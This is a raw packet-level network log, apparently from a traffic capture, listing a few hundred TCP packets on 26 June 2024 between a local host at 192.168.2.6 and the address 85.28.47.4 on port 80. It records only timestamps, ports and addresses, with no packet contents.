Jun 26, 2024 08:16:23.039803982 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.039808989 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.039822102 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.039834023 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.039839029 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.039860964 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.039874077 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.039889097 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.039902925 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.039916992 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.039920092 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.039920092 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.039920092 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.039932966 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.039947987 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.039961100 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.039961100 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.039962053 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.039980888 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.039989948 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.040002108 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.040014029 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.040034056 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.040082932 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.040096998 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.040110111 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.040119886 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.040129900 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.040136099 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.040142059 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.040155888 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.040170908 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.040184975 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.040199995 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.040214062 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.040216923 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.040216923 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.040216923 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.040230989 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.040251017 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.040265083 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.040270090 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.040270090 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.040280104 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.040296078 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.040309906 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.040334940 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.040349007 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.040354013 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.040354013 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.040363073 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.040378094 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.040381908 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.040393114 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.040409088 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.040422916 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.040424109 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.040440083 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.040453911 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.040455103 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.040472031 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.040496111 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.040510893 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.040510893 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.040510893 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.040529966 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.040544987 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.040560007 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.040563107 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.040574074 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.040587902 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.040601969 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.040616989 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.040632010 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.040632963 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.040633917 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.040647030 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.040653944 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.040663004 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.040718079 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.040718079 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.040909052 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.040925026 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.040941000 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.040946007 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.040956020 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.040961027 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.040977001 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.040992022 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.041007042 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.041023970 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.041032076 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.041032076 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.041048050 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.041059017 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.041064024 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.041083097 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.041086912 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.041101933 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.041104078 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.041121006 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.041142941 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.041157007 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.041157007 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.041166067 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.041182041 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.041198015 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.041213036 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.041224003 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.041224003 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.041228056 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.041244030 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.041258097 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.041271925 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.041286945 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.041286945 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.041286945 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.041302919 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.041316032 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.041321039 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.041337013 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.041341066 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.041352987 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.041368008 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.041385889 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.041389942 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.041404009 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.041418076 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.041419029 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.041419029 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.041433096 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.041439056 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.041449070 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.041465044 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.041479111 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.041485071 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.041485071 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.041531086 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.041819096 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.041835070 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.041848898 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.041872025 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.041882992 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.041886091 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.041901112 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.041908026 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.041918039 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.041938066 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.041939974 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.041948080 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.041963100 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.041970015 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.041970015 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.041976929 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.041992903 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.042009115 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.042011023 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.042023897 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.042068958 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.042068958 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.042275906 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.042290926 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.042305946 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.042320967 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.042341948 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.042355061 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.042356968 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.042355061 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.042372942 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.042390108 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.042406082 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.042423010 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.042423010 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.042429924 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.042445898 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.042464018 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.042464018 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.042464018 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.042480946 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.042504072 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.042506933 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.042521000 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.042536020 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.042543888 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.042551994 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.042565107 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.042568922 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.042587042 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.042598963 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.042602062 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.042618036 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.042630911 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.042645931 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.042654037 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.042661905 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.042664051 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.042681932 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.042696953 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.042711973 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.042717934 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.042727947 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.042754889 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.042769909 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.042783976 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.042784929 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.042783976 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.042802095 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.042804956 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.042818069 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.042833090 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.042839050 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.042853117 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.042881966 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.042903900 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.042918921 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.043164968 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.043180943 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.043195963 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.043210983 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.043231964 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.043234110 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.043247938 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.043253899 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.043270111 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.043284893 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.043287992 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.043299913 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.043315887 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.043317080 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.043333054 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.043349028 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.043361902 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.043361902 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.043363094 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.043390036 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.043423891 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.043437004 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.043580055 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.043596029 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.043610096 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.043625116 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.043638945 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.043652058 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.043653011 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.043668985 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.043684006 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.043685913 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.043700933 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.043715000 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.043724060 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.043735981 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.043740988 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.043756008 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.043771029 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.043785095 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.043787003 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.043787003 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.043802977 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.043808937 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.043813944 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.043826103 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.043829918 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.043844938 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.043859005 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.043859959 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.043876886 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.043891907 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.043895960 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.043909073 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.043921947 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.043924093 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.043940067 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.043942928 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.043956041 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.043971062 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.043986082 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.044001102 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.044012070 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.044012070 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.044014931 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.044029951 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.044038057 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.044045925 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.044060946 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.044066906 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.044076920 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.044083118 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.044101954 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.044116020 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.044126987 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.044141054 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.044141054 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.044157028 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.044179916 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.044194937 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.044209003 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.044209003 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.044209003 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.044224977 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.044240952 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.044256926 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.044265985 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.044265985 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.044272900 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.044287920 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.044302940 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.044312954 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.044318914 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.044329882 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.044372082 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.044421911 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.044437885 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.044452906 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.044467926 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.044491053 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.044502974 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.044502974 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.044516087 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.044531107 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.044545889 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.044560909 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.044562101 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.044563055 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.044576883 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.044621944 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.044621944 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.044655085 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.044670105 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.044684887 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.044699907 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.044714928 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:23.044723988 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:23.044723988 CEST	49713	80	192.168.2.6	85.28.47.4
